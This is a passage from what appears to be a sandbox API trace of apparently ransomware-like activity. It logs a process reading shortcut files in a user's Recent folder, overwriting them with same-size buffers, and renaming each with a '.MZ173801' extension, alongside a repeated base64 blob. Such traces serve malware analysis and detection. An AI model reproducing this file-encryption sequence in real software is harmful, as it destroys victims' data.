TVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.556] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lcH9zf19U.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\lch9zf19u.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.556] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.556] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.557] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x13bd [0121.557] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.557] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x13bd, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x13bd, lpOverlapped=0x0) returned 1 [0121.557] CloseHandle (hObject=0x288) returned 1 [0121.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lcH9zf19U.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\lch9zf19u.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.558] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x13bd, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x13bd, lpOverlapped=0x0) returned 1 [0121.559] CloseHandle (hObject=0x288) returned 1 [0121.589] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lcH9zf19U.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\lch9zf19u.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lcH9zf19U.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\lch9zf19u.lnk.mz173801")) returned 1 [0121.591] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1f3320, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf1f3320, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf1f3320, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="LlEz.lnk", cAlternateFileName="")) returned 1 [0121.591] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.591] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.591] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LlEz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\llez.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1f3320, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf1f3320, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf1f3320, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea)) returned 1 [0121.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.594] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LlEz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\llez.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.594] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.594] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.594] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x9ea [0121.594] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.595] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x9ea, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x9ea, lpOverlapped=0x0) returned 1 [0121.595] CloseHandle (hObject=0x288) returned 1 [0121.596] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LlEz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\llez.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.596] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x9ea, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x9ea, lpOverlapped=0x0) returned 1 [0121.597] CloseHandle (hObject=0x288) returned 1 [0121.603] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LlEz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\llez.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LlEz.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\llez.lnk.mz173801")) returned 1 [0121.604] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb8d800, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdeb8d800, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdebb3960, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a21, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="m2vN4t6vFdvq0RhOel.lnk", cAlternateFileName="M2VN4T~1.LNK")) returned 1 [0121.604] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.604] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.604] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m2vN4t6vFdvq0RhOel.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m2vn4t6vfdvq0rhoel.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb8d800, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdeb8d800, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdebb3960, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a21)) returned 1 [0121.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI